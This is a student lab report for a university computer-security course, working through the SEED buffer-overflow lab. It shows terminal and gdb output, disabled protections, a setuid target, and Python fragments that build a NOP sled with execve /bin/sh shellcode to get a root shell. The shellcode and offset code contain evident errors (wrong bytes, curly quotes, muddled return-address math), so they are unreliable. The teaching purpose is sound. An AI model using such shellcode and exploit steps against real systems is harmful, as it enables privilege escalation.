Dilnoza Saidova, Nathan Mahnke

TCSS381: Computer Security

December 9, 2022

Lab 4: Buffer Overflow

Prior to completing our first task, we need to disable the randomization of the addresses of the stack and heap as well as to link /bin/sh to another shell

```
[12/07/22]seed@VM:.../Labsetup$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
[12/07/22]seed@VM:.../Labsetup$ sudo ln -sf /bin/zsh /bin/sh
```

Task 1: Getting Familiar with Shellcode

For this task we will be looking to execute a program to launch a shell

```
[12/07/22]seed@VM:.../shellcode$ gcc -z execstack -o call_shellcode call_shellco
de.c
[12/07/22]seed@VM:.../shellcode$ ./call_shellcode
$ 
```

As we can see by the final line we have successfully run the program and a shell has been opened. Without specifying -m32, the program defaulted to the 64-bit version but by executing the lab's included make file, we can see how both the 32-bit and the 64-bit versions perform.

```
[12/07/22]seed@VM:.../shellcode$ make
gcc -m32 -z execstack -o a32.out call_shellcode.c
gcc -z execstack -o a64.out call_shellcode.c
[12/07/22]seed@VM:.../shellcode$ ./a32.out
$ exit
[12/07/22]seed@VM:.../shellcode$ ./a64.out
$ exit
```

Both have executed properly and resulted in a shell opening.

Task 2: Understanding the Vulnerable Program

To take advantage of the vulnerability within stack.c we will need to compile the program using the "-fno-stack-protector", as well as "-z execstack" options to turn off StackGuard and the non-executable stack protections respectively. We also need to make the program root owned and change the programs permissions which can be done with "sudo chown root stack" and "sudo chmod 4755 stack" commands respectively.

```
[12/07/22]seed@VM:.../code$ gcc -DBUF_SIZE=100 -m32 -o stack -z execstack -fno-s
tack-protector stack.c
[12/07/22]seed@VM:.../code$ sudo chown root stack
[12/07/22]seed@VM:.../code$ sudo chmod 4755 stack
```

Task 3: Launching Attack on 32-bit Program (Lvl. 1)

We create the badfile for debugging:

```
[12/09/22]seed@VM:~/.../Labsetup$ gdb stack-L1-dbg
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses
/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
/opt/gdbpeda/lib/shellcode.py:24: SyntaxWarning: "is" with a litera
l. Did you mean "=="?
  if sys.version_info.major is 3:
/opt/gdbpeda/lib/shellcode.py:379: SyntaxWarning: "is" with a liter
al. Did you mean "=="?
  if pyversion is 3:
stack-L1-dbg: No such file or directory.
gdb-peda$ b bof
Breakpoint 1 at 0x12ad: file stack.c, line 16.
gdb-peda$ run
Starting program: /home/Documents/lab4/Labsetup/code/stack1-dbg
Input size: 0
```

We set a breakpoint at the bof function to get the buffer address and ebp value. We then ran it to get the request values of the buffer and ebp. Resulting ebp contains the frame pointer.

```
gdb-peda$ b bof
gdb-peda$ run
gdb-peda$ next
gdb-peda$ p $ebp
gdb-peda$ p &buffer
gdb-peda$ p/d 0xffffca98 – 0xffffca2c
```

```
EAX: 0x56558fb8 --> 0x3ec0
EBX: 0x56558fb8 --> 0x3ec0
ECX: 0x60 ('`')
EDX: 0xffffcf00 --> 0xf7fb4000 --> 0x1e6d6c
ESI: 0xf7fb4000 --> 0x1e6d6c
EDI: 0xf7fb4000 --> 0x1e6d6c
EBP: 0xffffcaf8 --> 0xffffcf08 --> 0xffffd138 --> 0x0
ESP: 0xffffca80 ("1pUV\024\317\377\377\220\325\377\367\340\263\374", <incomplete
 sequence \367>)
EIP: 0x565562c2 (<bof+21>:      sub    esp,0x8)
EFLAGS: 0x216 (carry PARITY ADJUST zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x565562b5 <bof+8>:  sub    esp,0x74
   0x565562b8 <bof+11>: call   0x565563f7 <__x86.get_pc_thunk.ax>
   0x565562bd <bof+16>: add    eax,0x2cfb
=> 0x565562c2 <bof+21>: sub    esp,0x8
   0x565562c5 <bof+24>: push   DWORD PTR [ebp+0x8]
   0x565562c8 <bof+27>: lea    edx,[ebp-0x6c]
   0x565562cb <bof+30>: push   edx
   0x565562cc <bof+31>: mov    ebx,eax
[------------------------------------stack-------------------------------------]
0000| 0xffffca80 ("1pUV\024\317\377\377\220\325\377\367\340\263\374", <incomplet
e sequence \367>)
0004| 0xffffca84 --> 0xffffcf14 --> 0x0
0008| 0xffffca88 --> 0xf7ffd590 --> 0xf7fd1000 --> 0x464c457f
0012| 0xffffca8c --> 0xf7fcb3e0 --> 0xf7ffd990 --> 0x56555000 --> 0x464c457f
0016| 0xffffca90 --> 0x0
0020| 0xffffca94 --> 0x0
0024| 0xffffca98 --> 0x0
0028| 0xffffca9c --> 0x0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
20          strcpy(buffer, str);
gdb-peda$ $ebp
Undefined command: "$ebp".  Try "help".
gdb-peda$ p $ebp
$1 = (void *) 0xffffcaf8
gdb-peda$ p &buffer
$2 = (char (*)[100]) 0xffffca8c
```

First, we created the badfile that contained nop sled and shellcode. We first used the shellcode from the textbook chapter on Buffer Overflow:

```
shellcode =
            (“\x31\xc0”
      “\x50”
      “\x68””//sh”
      “\x68””/bin”
      “\x89\xe3”
      “\x50”
      “\x53”
      “\x89\xel”
      “\x99”
      “\xb0\x0b”
      “\xcd\x90”).encode(‘latin-1’)
      content = bytearray(0x90 for i in range(517))
```

Then, we put the shellcode in the payload starting at the difference between input size of 517 and shellcode length:

```
start = 517 – len(shellcode)
content[start:] = shellcode
```

We derived value of the return address from the ebp value of the previous step. We then inserted this value and an arbitrary number into return value. We eventually get the offset value of 112:

```
offset = 0xffffca98 + 50
result = 112
content[offset:offset + 4] = (result).to_bytes(4, byteorder =
‘little’)
with open(‘badfile’, ‘wb’) as f:
      f.write(content)
```

After running the stack-L1, we overflow the buffer and exploit executes. Return address gave us the root access, meaning the return address worked and pointed to the shellcode.

```
[12/09/22]seed@VM:~/Documents$ ./exploit.py
[12/09/22]seed@VM:~/Documents$ ./stack-L1
Input size: 517
#
```

Task 4: Launching Attack without Knowing Buffer Size (Lvl. 2)

Spraying technique can be used if the range of the buffer size is known. That is, all the possible return address locations can be used as input. Since the range is 100 to 200 bytes, additional bytes can be added if the compiler starts adding space after the buffer ends, meaning we can use up to 220 bytes. Lastly, the NOP sled would follow.